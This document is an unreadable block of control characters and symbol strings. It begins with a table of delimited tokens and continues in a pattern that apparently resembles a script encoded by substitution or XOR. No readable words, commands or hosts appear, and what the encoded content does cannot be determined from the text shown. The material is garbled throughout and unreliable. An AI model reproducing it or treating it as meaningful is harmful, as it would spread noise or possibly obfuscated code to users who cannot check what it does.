VO?![??![??![?R?		YRYLBKK\UA/E7A!(UYRY"YU/UYRYLBKK\UA/E7A!(UYRY!AS/UYRY/7A/JYRYG/K(AL/U*A(YRYLBKK\UA/E7A!(UYRYB7>A/YRY!AS/UYRYG/K(AL/U*A(YRY!AS/UYRYK(AEUB7>A/YRYA/SS;YRYG/K(AL/U*A(YRYK(AEUA(UA!UB7>A/YRY	"Y!YRYAGA7UYRYGA7U(AUYRYU*B7L!UYRYKL/(YRY/7A/JYRYSU7B(\YRYA(SA/>YRY!=YRYK"YLL(EUSYRYK"YLL((JYRY
VV)XF:))
XM22F_YRY	8?![??![??![	YRYK"YLL((JYRYK"YLL(EUSYRYG/K(AL/U*A(YRY
VV)XF:))OFXYRY>E7.J+(7\SI;L+=/JYRYH3BHU6UE;;=/3B3(YRYA!ASYWRVY2MQWC)FFW
)WYRYAGA7UYRY\(!L/YRYU.LIH\+\=*3HAJB>KYRYKA/6UK(S7UYRYB]E\.;AHYRYB\K+/3K7>+YRY!AS/UYRY	HYRYAGA7UYRY(LK\YRY	"Y(YRYB\BYRYLKGYRYJ"Y/B+;KJ!E]K3+JYRYU!+A7=A"YI*6H;73YRY7L!B7>A/B\BYRYJ"Y/B+;KJ!E]K3+JYRY!A/A/A(YRYE.!UK!JUYRY/IKB7S3*UAH$YRY!A/A/A(YRYUBL.\S>I(!GYRY\(!L/YRY(/SS*B.IG>UGHYRYBGU7GA/!USKL//UK(LSLB(YRY>U+3/H\J*=G/U3K"Y3YRYBGA7U/>USKL//UK(LSLB(YRY>U+3/H\J*=G/U3K"Y3YRYU7GA/!USKL//UK(LSLB(YRYGA7U/>USKL//UK(LSLB(YRY(\U/(AK(UYRYJ;$3S=.AS.3;L]U/6YRYB7L>A/YRYJHL.(L6S=7=H6(6$YRYBSUUSHUS;YRYLJ]USU.;I]EYRYSU(USHUS;YRY(J/"YIS;](;ULL*6G=YRYEAUUSYRYE\.$\S"Y=EA/"Y3J!;6YRY!U"Y>A/GLS(AL/YRY;.HA+7KBJ.BYRY\L!E/KU!B7>A/YRYBG/KJI+!*HJ(KHJYRY!A/\U!B7>A/B\BYRYA(U(S/AU/(B!(UB7>A/YRYJ*$6]"Y+;>/6(YRY77B7>A/YRY(>3S$I/LSK6$SE;YWRVYB6*JGA7UGL7!US/>USYRY7"Y7/.]7L>I6(S]=]YRYB6*KL//UK(LSYRYB6*GKL//UK(LSYRYBGLL(USYRYU.=!7"Y\/.H/SYRY(UB7(USU!ASUK(YRY7*"Y=>>"Y3L7;=EIB]LG.YRY!A/GLL(USYRYJ/=U.BH"Y*"Y6$YRY7L>A/GLL(USYRYB7>A/7L!U!YRYEK*\(/L6HKUYRYLK!$;7!G!\L;G3YRYB7>A/7L!U!YRY"YIL"Y$3.YRY>76>S+SLBKLEGYRY;UES]I+("Y>\;E\AYRY(LA*/(L7\=EYRYB7>A/7L!U!YRY*/E*A\KJ]+/3YRYSG*>!\IE!!$=AG=6/YRYK"Y"YHLKSH$BYRY6/L=U+U!EI$]"Y\K>++\YRY"YIJJ\B;=]7!3!!YRYSU>A(US\(!L/G/K(AL/YRYKBUSA(U!YRYM:
2MQYRY>U(LB(AL/YRY;>U(\/!.=E=IJYRY/>L67.\*J"YSLS(IYRY\(!L/YRY!U6U/337(=S!YRYK7(SUKLEUS;K\UKJYRY(AUYRYK7(SUKLEUS;K\UKJYRYU$"Y.KJ$37GB7YRYKSL/K\U!7UYRYGL!KGG>JE\+ABYRYG/K(AL/U*A(YRYB7>A/7L!U!YWWE
^Z%Z#E
^M!VZWZC	!	VZWEZCY?<-YPY.*6YPY!YPYYPYJPMLYPYYPYYPYYPY)2YPY+9YPY70:,YPY3QYPYSYPY
YPY=1;YPY	""CYPYTYPY^(DYPYVUYPYW8/YPY5"YRYPYNBAYPY@GIYPYKOFYPYH&'YPY$YPYEYPY\%#YPYX_ YPYZ]4YPY[>YEZ
CYM:
YPY2QYPYKYPYEUYPYSL.YPY3YPYB7YPY>YPYA/"YYPYZ5YPY&YPYW_XYPY@	JYPY!\(;YPYV)FYPY?YPYG*YPYROYPY[YPYC#YPY',YPY-YPYH9YPY<I=YPY]$YPY+YPY^6YPY1""TYPYD%YPYPYPYN8YPY0 YPY4YEZC\\EVZCNEZB
VZWEZUUWZC
VZ
RZ%Z#WEZPCVZCCCWAZ%Z#DZ%Z#E
^ZE
^GHNVZWZCV
WZE
^M!VZWE
^J	VZWZCZE
^M!VZWE
^MHFKVZWZCZE
^M!VZWE
^KO	VZW
^M!VZWEtt
^GGM
FNLVZ
NRZWZJ	
LCVZ
N ZWXOLGE
^ZJ	
LEtt^t^^^VJ	VNWW^^
Ettt^^^^t
^^MFKKIO
VWtt^^^t^^
^
VZ921<?2-%J	VOW#W^A^^Z921<?2-%J	VOW#^^^D^^GHNVLWEt^^^^^t
^^K		HK!	VWt^^^^^^t^
^!!872;!!Ett^^^^^
^^^M	KIMNM
VWt^^t^^^
^GHNVMWVK		HK!	VWWEttttt^^^^^^^
^^^^^^MIIMVWtt^^^^^^^VM!VJWVMHFKVKWWW^
^^!VK		HK!	VWWEt^^^^ZN^^C^K		HK!	VWEt^^^Z!J!J^^C^^VJ	VHWW^^^^A^^^^).!.2+970!:7,^^D^^\\Et^VZ!J!J^^^^_CC^\\^XX^M!VIWVZNR^^Z!J!JW^^^^^CCC^NW^^
^J	VFWVMHFKVGWVZNR^^M!VONWVZ!J!JWWR^^^^YQYWEt^^^^
^^^MHFKVOOWVM!VOLWVZNWW^^^P^^^YQY^P^KO	VOMWVZNWEt^^t^^
^^JH
GHKVWt^^tt
^GHNVOJWVVMHFKVOKWW^A^^^).3+!.2+970!:7,^^D^^^V).!=10*;0*!:7,^^P^^MHFKVOHWWR^^^^YQYWEt^^^t^^
^^^^IFNIKJHOVWtt
^^^^MHFKVOIWVK		HK!	VWWEt^t^^
^OF!NKIOVZGINR^^^^ZOF		O^^C^VJIMULNWR^^^ZJGKFGKM^^^C^Wtttt^
^MHFKVJWVMHFKVOFWW^^A^^^^^>M!VOFWVZGINR^^^^ZOF		OR^ZJGKFGKMW^^D^^EZ!OCVNGLUNIGWEZNNO
KOO	CZ!O[IEttt^^^
^^MIFJHVZHKHJHFR^ZOF		OWtt
^^^^MHFKVJWVM!VOGWW^^^^^^A^^^>M!VOGWVZHKHJHFR^^^ZOF		OW^^^D^^^^^^Et^^tttt^^
^OM	VZHKHJHFWt^^^^^^^^t^^^
^^GHNVJWVMHFKVLNWW^^^A^^^>KO	VLOWVZHKHJHFW^D^Et^^^^tttt^^
^^^		KOLLVZHKHJHFR^ZOMO!Wt^^^t^^^^^^
^^J	VJWVJ	VLLWW^A^>MHFKVLMWVZHKHJHFR^^ZOMO!W^^D^^^^^Et^^^t^
^FKKL!VZHKHJHFWt^^^^t^^^ZF	
^^C^^^^^MGGHHVWEt^^
^^^^		KOLLVZHKHJHFR^^VZF	
^^^^S^^VZF	
^^[^^^VMJGJJUHKNKHWWW^U^^OFGH!JKG
VWWEt^^tttt^^^^^
^^^^^^HOMFHJVZGGN
	JJHR^^^^^Z	I!Wtttt^t
^^^^MHFKVJWVGHNVLJWW^A^>MHFKVLJWVZGGN
	JJHR^^^^Z	I!W^^^^^^D^^^Etttt^
^^IM!OHJVZGGN
	JJHR^^^Z	I!Wt^^^^^^^tt^
^^M!VJWVJ	VLKWW^^A^^>M!VLKWVZGGN
	JJHR^^^^^Z	I!W^^^D^^^^^Et^tttt^^^^^
^NHGINGFOVZGINR^^^^^ZHKHJHFWttt^^
^^^M!VLHWVMHFKVLIWW^^^A^^^>KO	VLFWVZGINR^^ZHKHJHFW^D^Et^ttt^^^^
^^J
G	JINFOVWt^^ZKF!	KCVNHUNLWEZKIK!OLCZKF!	K[HEt^^

^^Z
ILIO!^^C^^^^^Etttt^^VZ
ILIO!^^_CC^^^^W^^
^^Z
ILIO!Et^^^Z
ILIO!^^^^^C^J	VLGWVMHFKVMNWW^^^^^A^^MHFKVMOWVW^^^^D^^^KO	VMLWEt^^^^^V>KO	VMMWVZ
ILIO!W^^^^^^XX^>MHFKVMJWVZ
ILIO!WW^^^
^^Z
ILIO!Et^Z
JGO^^C^^^VMHFKVMKWW^A^^^).!=10*;0*!:7,^^^D^^^^VVGHNVMHWW^^A^^^?<-.?*6^^^^P^^^J	VMIW^D^^\\WEt^^^^^^^^VZ
JGO^^^^_CC^^^^\\W^tt^^^^ZN^C^^^GHNVOJWVZ
JGOR^GHNVMFWW^^P^^^GHNVMGWEt^^^^^^^^^V_>MHFKVJNWVZNWW^^>KO	VJOWVZNR^^VMGKUGFWR^
WEtt^V>GHNVJLWVZNW^^^^^XX^>M!VJMWVZNWW^^t^^^^^^VMHFKVLGWVKO	VJJWWW^>
VJ	VJKW^^^^P^^^ZNWEt^^^^^Z921<?2-%MHFKVJHW#^^^^^C^OEttt^^Z
ILIO!^^C^^ZNEt^^^^^tt
^Z
ILIO!Et^tt^^
^^^OMKOVWt^^t^^^^ZGIN^^^C^^IFNIKJHOVWEt^ZOF		O^^C^JH
GHKVWEt^^^^VZGIN^^^CCC^^^^^^ZOF		OW^
^^^^
Et^VM!VLGWVJ	VJIWWW^tZFMGN	L	^^C^>M!VJIWVZGINWEt^^^^^^Z!OHNN^C^^^>KO	VJIWVZOF		OWEt^^^
^^^^VZFMGN	L	^_CC^^^^^^^XX^^^^Z!OHNN^_CC^^^^^XX^ZFMGN	L	^^CCC^^^^Z!OHNNWEtt^^^
^Et^^^^t^
^^OFGH!JKG
VWtZ
!MMCVNUNOOWEZ
HGO
CZ
!MM[OIEt^^
^VGMILFUGOWEtt
^^GG	GF	KHVWt^^^t^^^^^^^^V_VGHNVJFWWW^^
^^^^^\\EttttZ
JGO^C^^^VGHNVMKWW^^A^).!=10*;0*!:7,^^^D^^?<-.?*6^^P^^^^J	VJGWEt^^^^^^^
^^^^^^GHNVOJWVZ
JGOR^^^^^KO	VMFWW^P^^J	VKNW^^P^^M!VGWVKO	VKOWV?<-.?*6^^^^P^MHFKVKLWWR^^NR^VLUHWW^^^^P^GHNVKMW^^^P^^^^MHFKVGWVKO	VKJWV?<-.?*6^^P^^^M!VKKWWR^^^^NR^^^^VOKSIWW^^P^^^MHFKVKHWEt^^^t^
^OGMJLJ!KMVZ!FH!M^^C^^^^^Wtttt^^^^t^^ZHKHJHF^^C^^^GG	GF	KHVWEt^^^^^VZHKHJHF^CCC^^\\W^
^^^Et^^^^^^^V_KO	VKIWVZ!FH!MW^^^^^^^J	VKFWVZ!FH!MW^^^B^VJLJUIHWW^^Z!FH!M^^^^^C^FNGNVWEt^^V_Z!FH!M^^^^^_JKOOFVZ!FH!MWW^^
^^^^^Et^ZGIN^C^^^^^M!VOIWVZHKHJHFWEt^^^^^^V_>M!VJLWVZGINWW^^^OF!NKIOVZGINR^^^^VJFKUFWR^
WEtt^V_>J	VJLWVZGINW^^^^_>M!VJMWVZGINWW^
^Et^^^^^^^V>M!VKGWVZHKHJHFWW^^^t^^^^^^^^VKO	VKJWV!ML!JNGNVV
W^>GHNVHNWVZHKHJHFWWW^CCC^^^^M!VKJWVZ!FH!MWW^^
^
Et^^^^^Z	K^C^^^HH
I!FLLVZHKHJHFWEttt^VZ	K^^_CC^^^XX^^!VZ	KR^MFKKIO
VWR^Y@YWW^
^Et
VZ	KWEt^^t^^^^^^^^V_GGLJO!MOVZHKHJHFR^Z!FH!MWW^^^^
^^^Et^^^MIFJHVZHKHJHFR^VONJUMOHWWEt^K
VZHKHJHFWEt^^^^^^^
^^
Ett
^^KNJGVWt^^^^t^Z!FH!M^^^C^^FNGNVWEt^^^^^V_Z!FH!M^^^^^_JKOOFVZ!FH!MWW^^
^Et^ZHMFF^^C^^M!VOMWVK		HK!	VWR^MHFKVKHWWEt^^^^ZII!N	GNL^C^^^^J	VLGWVM!VHOWW^^A^J
J!	VW^D^^^VVGHNVHLWW^^^^^^A^^^^).!=10*;0*!:7,^^^D^\\WEt^^^^^^^^VZII!N	GNL^^CCC^^^^\\W^^
^^Et^^^^Z!J!J^C^^^ZII!N	GNL^P^M!VHMW^^^P^ZHMFFEt^^^^^^Z	GJI!HM^C^^Z!J!J^^^P^^YQY^^^P^ZHMFF^^P^M!VKHWEt^^ZO	
J^^^C^^Et^^^^^VJ	VHJWVGHNVHKWWW^^^t^^^^^^^Z
!M
^^C^>MHFKVHKWVZ	GJI!HMWEt^^^Z
		MGKF^C^^>MHFKVHHWVK		HK!	VWWEt^^^^^^^^ZO	
J^^C^^^^VGHNVHIWVZ
!M
W^^XX^^^^M!VHFWVZ
		MGKFW^^^XX^^Z
!M
^^CCC^Z
		MGKFWEt^^^t^^^^^^V_ZO	
JW^^^^^t^^^V_>J	VJLWVZ!J!JWW^^^OF!NKIOVZ!J!JR^VFOJSMLOWR^^^^^^
WEt^^^^V_>KO	VJLWVZ!J!JW^^^^^_>MHFKVHGWVZ!J!JWW^^^^
^Et^^V_>GHNVKGWVZ	GJI!HMW^^^GHNVKJWV!ML!JNGNVV
W^>M!VINWVZ	GJI!HMWWW^^_CC^GHNVKJWVZ!FH!MWW^^^^t^^^^^^V>J	VKGWVZ	GJI!HMWW^t^^^^Z	K^^^^^^C^^^HH
I!FLLVZ	GJI!HMWEt^^^^^^^^^^^VZ	K^^^^_CC^^^^XX^^!VZ	KR^^^MFKKIO
VWR^^Y@YWW^
^Et
VZ	KWEtt^^^^^^V_GGLJO!MOVZ	GJI!HMR^G			JVZ!FH!MWWW^
^Et^^^MIFJHVZ	GJI!HMR^^^^^^VMKNUINWWEtFKKL!VZ	GJI!HMWEt^^^^K
VZ	GJI!HMWEt^^t^^^^t^^^^^^^^VM!VHJWVKO	VIOWW^XX^^J	VILWVGHNVIMWWW^t^ZLF	LHH^^^C^^ZHMFF^P^YQY^^^P^^^ZHMFF^^^P^J	VIJWEttt^^^^^ZNHN^^^^^^C^^
!
VMHFKVIKWR^^VWWEt^^^V_GHNVIHWVZNHNWW^^ZNHN^C^^VWEt^^^^^^^^^^V_GHNVIIWVZLF	LHHR^^ZNHNR^^
WW^t^^^^ZNHN%#^C^^^ZLF	LHHEt
!
VKO	VIFWR^^^MHFKVIGWVZNHNWWEttQQ^).^HPI^


D^
^
tt^^t^
^^
Et^^^^t^^^^^
^^^^HH
I!FLLVZHKHJHFWttt^^^^^t^^^^ZHOKG^^C^^>GHNVINWVZHKHJHFR^^R^^^^R^NR^^^^VJNLHUINWWEtt^V_KO	VHFWVZHOKGWW^^
^Et^^^VMHFKVFNWVGHNVFOWR^^^ZHOKGR^^^^ZOF		OWW^
^ZOF		O%O#Et^^^^^
^^^^Et^t^^^^^t^^
^^JFKLGMJK
VZ!	R^^^^^ZMKWtt^^>

V
R^Z!	WEtttt^^^Z	N!MO^^^C^^>GHNVFLWVZ!	WEt^^^^^^^V_Z	N!MO^^^^^^^VZ	N!MO^^^^[^^^VONOGNOSOGNOWW^_CC^^OFGH!JKG
VWW^tttt^
^^^Et^^^^^ttt^^t^^^^Z
JN^^^C^^^^>GHNVFMWVZ!	WEt^^
^^^Z
JN^^^^XX^^^^Z
JN^@C^^^ZMKEt^^^t^
^^LM	LJLK!JVWt^^^^t^^^^^^
^^^VMKGLFUILWEt^^^t^^^^^
^^^I
HM	GLVWt^^^^^t^
^J	VFJWEtttt^^^^^^^^t^
^NLGM
MIJ
KVWt^t^^^
^GHNVFKWEtttt^
^F	NN!IVWt^t^^^^^^VKO	VILWVGHNVFHWWW^^
^
Et^VJLNFVWW^^
^
Et^Z!LNFHF^^^C^
VZ!-;,(;,%MHFKVFIW#W^A^^M!VFFWVV
W^^Z!-;,(;,%J	VFIW#W^^D^\\Et^^^VZ!LNFHF^^^_CC^\\^XX^^VKO	VIWVZ!LNFHFR^^J	VFGWW^_CC^^^^^^^^^^M!VGNWVZ!LNFHFR^^MHFKVGOWW^^^_CC^^^^^^^^^MHFKVGNWVZ!LNFHFR^^M!VGLWW^^^_CC^^WW^^^^^
^^
Et^^^^^^VZ!LNFHF^^CCC^^^\\^^XX^^^^^^MHFKVGMWVW^_CC^^^J	VGJW^XX^^^
VZ!-;,(;,%J	VGKW#WW^^^
^^^^
Et
^^EZHCSHOIEZHICVZH@NWAZHDSZHEt^t^
^^JLNFVWt^^^^^ttt^^Z!LNFHF^^C^^
VZ!-;,(;,%J	VFIW#W^^A^Z!-;,(;,%M!VFIW#^^D^\\Et^^
^^MHFKVHFWVZ!LNFHFW^^XX^^^^
VZ!LNFHFR^^M!VGHWW^^_CC^Et^^ttt^
^^^^
FIJ
VZNOG!MNOWt^^^^^t^^^^ZI	!!^^^^^^C^^MHFKVILWVMHFKVGIWW^^A^^>J	VGIWVM!VGFWW^D^Etttt^^^^^^^^^^V_ZI	!!^^^ZI	!!^^^^CCC^^^^^\\W^
^
Etttt^ZGNFO^C^^^^>J	VHHWVZNOG!MNOWEt^^V_ZGNFOW^^^^^ZGNFO^^C^^ZNOG!MNOEt^^^^VJ	VGGWV.?*6!-;.?,?*1,R^^^ZI	!!W^^^^^^Z	G	
LLFW^^tZ	G	
LLF^C^^^^^MHFKVOJWVZ	G	
LLFR^GHNVONNWWEt^^VZ	G	
LLF^^^XX^^VZGNFO^^^CCC^^Z	G	
LLF^^^^^^GHNVONOWVZGNFOR^Z	G	
LLF^^P^:7,;=*1,'!-;.?,?*1,W^^CCC^^^NWW^
^^
Et^^^t^^
^^Et^^^t^^^^^^
^!IHHJGNHVZJOMWtttt^^^^^^^^tttt^^^^Z
KHH^^^C^^^^^ZJOM^P^^YY^^P^^^^^^VVMHFKVONLWW^^A^:<!0?3;^^D^^^\\W^^^P^^^^^YY^^P^^VVJ	VONMWW^A^^^^?<-.?*6^^D^^^^\\WEt^
^^M!VKJWVZ
KHHWEtt^^^tt^^^
^^^^
LJM!!VZJOMWt^t^^^^^^^Z	Et^^^V_
VZ921<?2-%MHFKVONJW#W^^^_J	VONKWVZ921<?2-%MHFKVONJW#WW^^Z921<?2-%MHFKVONJW#^^^^C^VWEt^V_
VZ921<?2-%J	VONHW#%ZJOM#WW^^^^t^^Z921<?2-%MHFKVONHW#%ZJOM#UUEt^^^^^^
^
Et^^^t^^^VGHNVONIWVZ	W^^^^XX^^^J	VONFWVZ	R^^^^J	VONGWWW^t^^^^^^ZJGKFGKM^^^^^C^^^^>Z	S@
!VM!VOONW^^P^^!IHHJGNHVZJOMW^^P^^M!VOOOWWEt^^^VZJGKFGKM^^CCC^YOYW^t^^^^Z921<?2-%MHFKVOOLW#%ZJOM#^^C^^^^OEt^^^^^^
^^^^^
Ettttttt^^^^^^^VZJGKFGKM^^^CCC^YNYW^^^^
^Et^^t^^^^VGHNVILWVMHFKVOOMWW^XX^^^^^^GHNVILWVMHFKVOOJWWW^^^t^^^^^Z^C^^^VWEt^^^^^^^^VM!VILWVMHFKVMOWWW^^^Z%#^C^KO	VOOKWVWEttt^^^^^^VVKO	VHLWWW^Z%#^^^^^C^).!=10*;0*!:7,Ettt^^^^VVM!VOOHWWW^^^^^Z%#^C^^^^J	VOJWV?<-.?*6R^^KO	VONNWWEt^^VZ^^^ZGINW^^^^^tQQ^^
^
S
tt^^VZGIN^^^^^CCC^^\\^^^^^^_>J	VJLWVZGINW^^^^_>J	VOOIWVZGINWW^
Et^^^^^^ZKNN^^^C^^>M!VOOJWVZGIN^P^KO	VOOFW^^P^!IHHJGNHVZJOMW^^^P^^GHNVOOGWR^^YYWEt^^^VZKNN^^^^_CC^^W^^^t^^^^^^^^^^V_>VZKNNR^^21=5!;&^^^21=5!0<WW^t^^^>VZKNNWEt^
^^^Ettt^^^t^^^^^^^^V_
VZ921<?2-%M!VOLNW#W^^^^^^^^_MHFKVONKWVZ921<?2-%MHFKVOLNW#WW^^^^Z921<?2-%J	VOLNW#^C^VWEttt^^^^Z921<?2-%J	VOLOW#%ZJOM#^^^C^^^^ZKNNEt^^^^Z921<?2-%MHFKVOLLW#%ZJOM#^^C^^^^OEt
^^^
Et^ttttt^^t
^^^^EZMIJJFCOFGOIMEZ
IIHCZMIJJF MMEt^t^^^^
^^^^^M
G	FFLIVZJOMWtt^t^^^^^^^^^Z	Etttt^^^^^^^V
VZ921<?2-%J	VOLMW#%ZJOM#WW^^^^^
Ett^^^Z921<?2-%J	VOLMW#%ZJOM#SSEt^^^^^^^^VZ921<?2-%M!VOLJW#%ZJOM#^^@^^^^NW^^^^
Et^
VZ921<?2-%GHNVOLJW#%ZJOM#WEt^^^^V
VZ921<?2-%MHFKVOLOW#%ZJOM#WW^^ttt^>VZ921<?2-%GHNVOLOW#%ZJOM#R^21=5!+0WEt^^^^>VZ921<?2-%MHFKVOLOW#%ZJOM#WEtttt^
VZ921<?2-%MHFKVOLKW#%ZJOM#WEtt^^VJ	VONIWVZ	W^^^^XX^J	VOLHWVZ	R^^^M!VOLIWWW^ttt^>Z	S@VJ	VOLFW^^P^!IHHJGNHVZJOMW^^P^^^^M!VOLGWWEt^^^^^t^^^t^^
^^^^^K!VWt^^^^^t^^^^^^^^^VVM!VOMNWW^^^XX^^^:7-?221)!872;!31:-W^^^^
^^^Et^
^^^^^
Et^^t^
^^^^^!LNLVZGFNJR^ZMN!Wtt^^^^^^^
^^^t^^^^^^V
!
VMHFKVOMOWW^^XX^ZMN!^^^
^^*	W^^^^t^^^^ZG	GKLL^^^^C^^^M!VGWVZGFNJ^P^^GHNVOMLW^^^P^ZMN!S@
3VWR^NR^VOFJUILWWEt^^^^^^VZMN!^^
^;
W^tttt^^^^ZG	GKLL^^^C^^^J	VGWVZGFNJ^^P^^^^M!VOMLW^^P^^^^^ZMN!S@
3VWR^^NR^^^VLFNSLJWWEt^^^^^^^VM!VOMMWVZMN!W^^XX^^^^KO	VOMJWVZMN!W^^@^^NW^^^tZG	GKLL^^^^^C^^MHFKVGWVZGFNJ^P^^^^KO	VOMLW^^^^P^ZMN!R^^^^^NR^^^^^^VOIFUIFWWEt^^^^^^^ttt
Et^^^^t^^V_
VZ921<?2-%J	VOMKW#WW^Z921<?2-%J	VOMKW#^^^^C^^^^VWEt^^^V_M!VOMHWVZG	GKLLR^^^^Z921<?2-%J	VOMKW#R^^
WW^^^^t^Z921<?2-%M!VOMIW#%#^^^^^^C^^^^^ZG	GKLLEt^^^^^t^^^^^VMHFKVOMFWVZ921<?2-%MHFKVOMIW#W^^^^^@^^^VNLIUNWW^tQQ^).^-
^*
D^^
S		tt^^^^^^^Z921<?2-%M!VOMGW#^^^^^C^^^J	VOJNWVZ921<?2-%J	VOMGW#R^^^^SVMJUOHWWEt^t^^
^V*	^ZFLLGIILO!W^^^^tt^
^V;
^^^ZFLLGIILO!W^^^tttttt^
^^HNFHJNJLVZHOKGR^^^^^^Z	JNIF	R^^^^ZHKHJHF^C^^VHUJWR^^^^^Z!!KFIHI!LH^^^^C^OWt^^^t^^^V_GHNVILWVGHNVOJOWWW^^^^
^Et^^VGHNVOMMWVZ	JNIF	WW^^^^^t^^^
^!
VZHOKGR^^
^^VPPPZMGIGW^^^^^VZ	JNIF	W^^^^^t^^^^^^^^VJ	VILWVZ	JNIF	WW^^
^^^^^^Z	JNIF	VPPPZMGIGWEt^^^^^^
^^^EtR^^ZHKHJHFR^Z!!KFIHI!LHWEtt^
^^^^!
VZHOKGR^^^Z	JNIF	R^^^^^ZHKHJHFR^^Z!!KFIHI!LHWEttt^
^^^^LHOGLVZHOKGR^^^^Z	JNIF	R^^^^ZHKHJHF^C^VNMUNIWR^^Z!!KFIHI!LH^^C^^^OWt^^^^^t^^^^V_GHNVILWVJ	VOJLWWW^^
^^^Ett^^^^VKO	VOJMWVZ	JNIF	WW^t^
^!
VZHOKGR^^
^^^VPPPZMGIGW^^^^^^^VZ	JNIF	W^^^^^ttt^^^^VMHFKVILWVZ	JNIF	WW^^^
^Z	JNIF	VPPPZMGIGWEtt^^^
^^^
VZMGIG%N#W^A^^^ZMGIG%N#^D^^EtR^^^ZHKHJHFR^Z!!KFIHI!LHWEt^^^^tQT^
S

^^TQtt^
^^^^!
VZHOKGR^^^^Z	JNIF	R^^^^ZHKHJHFR^^^^Z!!KFIHI!LHWEt^^^^^t^
^^^^^JOHMLKLVWtttt^^^^^t^^^^^^^Z	G	
LLF^C^^VMHFKVHLWW^^^^A^^^^).!=10*;0*!:7,^^P^^^J	VOJJW^^P^K!NGJ	V?<-.?*6^^P^^^^J	VKLWR^VNKUNMWW^^D^KO	VOIWVK		HK!	VWW^P^^^^^KO	VOJKWEt^^^^V_>KO	VJLWVZ	G	
LLFW^XX^
FIJ
VZ	G	
LLFWW^tQQ^
^

S
^^).^-
^8ttOF!NKIOVZ	G	
LLFR^VNFUNOLKWR^^^
WEt^^^^^^^V>KO	VJLWVZ	G	
LLFWW^^^t^^^^^^HLKMH	KVZ	G	
LLF^P^^^GHNVOJHWR^^^\BA^QQ^-^^P"\R^^GHNVOJIWWEttt^t^^^^^V>KO	VJLWVZ	G	
LLFW^XX^^^>MHFKVOJFWVZ	G	
LLFWW^^t^^^^^^
^Z	G	
LLFEt^^^^^t^^ZJI
^^^^^^C^^M!VOJGWVK		HK!	VWW^^^P^^^^KO	VOJKWEt^^^^^V_>M!VJLWVZJI
W^^XX^^^
FIJ
VZJI
WW^^^OF!NKIOVZJI
R^VKNISOJWR^
WEt^^^^V>J	VJLWVZJI
W^^XX^^>M!VOJFWVZJI
WW^
^^^^^ZJI
Et^ZOMJ^C^^^^^KO	VOJGWVK		HK!	VWWEt^^^^^^V>M!VOJFWVZOMJW^^XX^^^^ZOMJ^^^^^_CC^JH
GHKVWW^
^^ZOMJEZO
FCGOTFEZFCZO
FSIEt^^VVJ	VOKNWW^^^^XX^^>GHNVOKOWV).!=10*;0*!:7,W^XX^
FIJ
V).!=10*;0*!:7,WW^^
^^^^).!=10*;0*!:7,EZK
NCVNLMUNLOWEZCZK
N[GEt^^
^^Z	G	
LLFEt^^ttt^^^
^^^J
J!	VWtt^^VVGHNVOKNWW^^^^^^XX^>MHFKVOKOWV).!=10*;0*!:7,W^XX^
FIJ
V).!=10*;0*!:7,WW^^^
^^^).!=10*;0*!:7,Et^^^ZI^^C^^^^M!VOJGWVK		HK!	VWWEt^^^^^^^V
FIJ
VZIWW^^
^^ZIEt^^
^).!=10*;0*!:7,Et^^^^^tt^^^t^^^^^^^
^^^^	KOLVZNOG!MNOWt^^^^^t^^^^^^^^^V
VZ921<?2-%GHNVOKLW#W^^^^^^_J	VONKWVZ921<?2-%J	VOKLW#WW^^^
^^^Et^^^^^^^V
VZ921<?2-%GHNVOKLW#%ZNOG!MNO#WW^^
^^^^
Et^^ZGNFO^C^^^^MHFKVILWVM!VHHWW^^A^^^>J	VHHWVZNOG!MNOW^D^Et
^^^^^VZGNFO^^_CC^^^XX^^^^^^
VZ921<?2-%KO	VOKLW#%ZGNFO#WWEttt^t^^^^
^	
G		HVZNOG!MNOWt^tttt^V
VZ921<?2-%M!VOKMW#W^^_GHNVONKWVZ921<?2-%J	VOKMW#WW^^^^^^
Etttt^
VZ921<?2-%M!VOKMW#%ZNOG!MNO#WEtZGNFO^C^^^^J	VILWVM!VOKJWW^^^^^A^^>MHFKVOKJWVZNOG!MNOW^^D^Et^^^VZGNFO^_CC^^W^^^^
VZ921<?2-%GHNVOKMW#%ZGNFO#WEttt^^^t^
^^^^
MFJKMI!K
VZNOG!MNOWtttt^^tQQ^).^-^-^,D^

S
^
Sttt^^^^^V_
VZ921<?2-%J	VOKMW#W^^^^^^_KO	VONKWVZ921<?2-%KO	VOKMW#WW^^t^^^Z921<?2-%GHNVOKMW#^C^^VWEt^t^ZOKO^C^^GHNVILWVGHNVOKJWW^^A^>MHFKVOKJWVZNOG!MNOW^^D^^^^^EZG
CMOHLEZ!HHHCZG
[IEt^Z921<?2-%MHFKVOKMW#%ZOKO^^^_CC^^^^A^^^ZOKO^^D^^^^ZNOG!MNO#^^C^^^ZNOG!MNOEtt

^^^^ZMOGFO^C^^Et^^^^^^^^^^V_ZMOGFOW^^tZMOGFO^C^^^^^
Et^^^^^^^^VGHNVOKKWVGHNVOKHWWW^KO	VOKHWVGHNVOKIWWEt^^^^^tt^
^^GFL!HVWt^^^^^^^^t^^^^^V
VZ921<?2-%MHFKVOKFW#W^^^_MHFKVONKWVZ921<?2-%M!VOKFW#WW^t^^^
Et^^^^ttt^^VZ921<?2-%J	VOKGW#^^^^^^ZKFKOK^^C@^ZGHNW^^^^^t^^V_M!VOHNWVZGHNWW^^ZGHN^^C^^^^ZKFKOKEtttt^VZKFKOK^^CCC^^^^^K		HK!	VW^^^^^ZGHN^^CCC^K		HK!	VWW^^^^
Et
^^^tttt^^^^V>J	VOHOWVZGHNWW^t^^^VMHFKVOHLWVJ	VOHMWWW^^^MIFJHVZGHNR^^^VLLHUOGJWWEttt^^^^^VJ	VOHJWVKO	VOHKWW^^^XX^^OM	VZGHNW^^^^XX^^J	VOHJWVGHNVOHHWWW^>!
VZGHNR^
WEt^^^t^^^^
^^^^^^V*	^ZMN!W^^^^t^^^
^V;
^^^^^ZMN!W^ttQQ^^	
S^
S
ttt^^t
^^ONJVWt^^^^t^
^^t^^^^^^ZMN!^C^^M!VOHJWVGHNVOHIWW^A^>!
!
VW^^D^^^Et^^^V_MHFKVONKWVZMN!W^^^^
VZMN!%MHFKVOHFW#W^^^^
VZMN!%M!VOHGW#WW^^^^^
Et^^^^^^^V_GHNVOINWVZMN!%KO	VOHGW#R^^^V;!;,,1,R^^;!.?,-;R^^^^;!=1,;!;,,1,R^^;!=13.72;!;,,1,R^^^;!+-;,!;,,1,WR^^^^^
WW^^^^
Ett^ZOF		O^C^
VZMN!%GHNVOIOW#W^A^^^^^V
W^ZMN!%M!VOILW#^^^^^D^^\\Et^^^^^V
VZOF		OR^M!VOIMWW^^_CC^^^^^^^^^
